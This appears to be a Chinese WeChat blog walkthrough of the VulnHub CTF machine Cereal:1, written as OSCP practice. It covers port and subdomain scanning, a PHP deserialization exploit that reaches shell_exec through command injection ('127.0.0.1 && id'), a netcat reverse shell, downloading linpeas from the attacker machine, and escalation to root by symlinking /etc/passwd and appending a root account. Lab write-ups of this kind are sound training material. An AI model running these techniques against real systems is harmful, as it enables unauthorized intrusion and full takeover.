---------------------------------------------------------------
本文题干阅读时间推荐15min,靶场练习推荐3h
----------------------------------------------------------------
如果各位童鞋想讨论以下相关内容,欢迎关注公众号, 联系我:
-
OSCP相关技术(备考中)
-
CISSP备考经验(已通过认证)
-
CCSK(云安全)(已通过认证)
-
ISO/IEC 27001 Foundation(已通过认证)
----------------------------------------------------------------
一、前言
主要利用方式:深度的路径探测+子域名探测
php序列化+RCE利用+NC反弹shell
软链+passwd新增root权限账户
二、靶机信息
靶场: vulnhub.com
靶机名称: CEREAL: 1
难度: 中等
发布时间: 29 May 2021
下载地址:https://download.vulnhub.com/cereal/Cereal.ova
三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
攻击IP:10.0.2.7
靶机IP:10.0.2.30
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机开放端口
3、探测靶机开放端口相对应的服务
└─$ sudo nmap -p21,22,80,139,445,3306,11111,22222,22223,33333,33334,44441,44444,55551,55555 -sV -A 10.0.2.30
4、21端口FTP尝试,匿名登录,但未发现有啥文件
└─$ ftp 10.0.2.30
Name (10.0.2.30:kali): anonymous
5、80端口web尝试,访问+路径扫描
http://10.0.2.30/
└─$ dirsearch -u http://10.0.2.30/
6、信息探测+收集
http://10.0.2.30/phpinfo.php
http://10.0.2.30/admin/
http://10.0.2.30/blog/
发现有些链接指向了http://cereal.ctf/这个域名,
7、绑定域名,再探测
└─$ sudo vi /etc/hosts
和以IP探测差不多
8、子域名探测
└─$ gobuster vhost -u http://cereal.ctf:44441/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Found: secure.cereal.ctf:44441 (Status: 200) [Size: 1538]
Found: Secure.cereal.ctf:44441 (Status: 200) [Size: 1538]
9、secure.cereal.ctf
将ip和host文件进行绑定后访问,80还是和主界面一样,
但44441端口下存在了差异,新出现一个功能
10、抓包,解析
正常ping 127.0.0.1,发现存在反序列化相关的知识点
11、再去探测是否存在其他可参考的内容
用 gobuster 扫一下,发现个 back_en 目录
http://secure.cereal.ctf:44441/back_en/
继续探测路径,存在index.php.bak文件
└─$ dirsearch -u http://secure.cereal.ctf:44441/back_en/
访问
http://secure.cereal.ctf:44441/back_en/index.php.bak
这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它都会进入 if 块。该块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。PHP 的 shell_exec 函数,这个函数允许在服务器中执行命令。所以在这里写入反弹 shell
12、php反序列化漏洞
isValid 改为ture,执行测试,看反应
class pingTest{
public $ipAddress = "127.0.0.1";
public $isValid = TRUE;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
再次执行127.0.0.1 && id
13、攻击机设置监听,靶机NC反弹shell
└─$ nc -lnvp 5555
靶机nc连接
升级交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')" 执行失败
SHELL=bash script -q /dev/null 升级成功
五、权限提升
14、查找suid
[apache-4000 -type f 2>/dev/null public_html]$ find / -perm
15、攻击机搭建web目录,靶机下载linpeas.sh 文件,加以利用
└─$ python -m http.server 80
[apache@cereal public_html]$wget http://10.0.2.7/linpeas.sh
linpeas和 pspy64 跑一下发现了一个由 root 运行的脚本:
无权限修改和执行,但这个脚本可以更改位于用户 rocky 的主目录中的文件public_html 内容的所有者,当前用户 apache 组,因此它可以访问目录中的文件。并且可以查看/etc/passwd的文件
用链接命令 ln,把 /etc/passwd 链接到 /home/rocky/public_html/* 下的一个文件,然后 /etc/passwd 文件就可以用 apach 用户修改:
16、Vi /passwd失败,用echo 新增root权限的txx用户
17、获取flag ,验证IP
[ ]
[root@cereal ~]# ip a
-----------------------------------------------
本期靶场到此就结束啦,我们下期再见
--------------------------------------------------
走之前记得点个“在看”哟~
原文始发于微信公众号(从放弃到入门):【OSCP模拟-No.38】 Cereal:1靶机渗透测试练习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论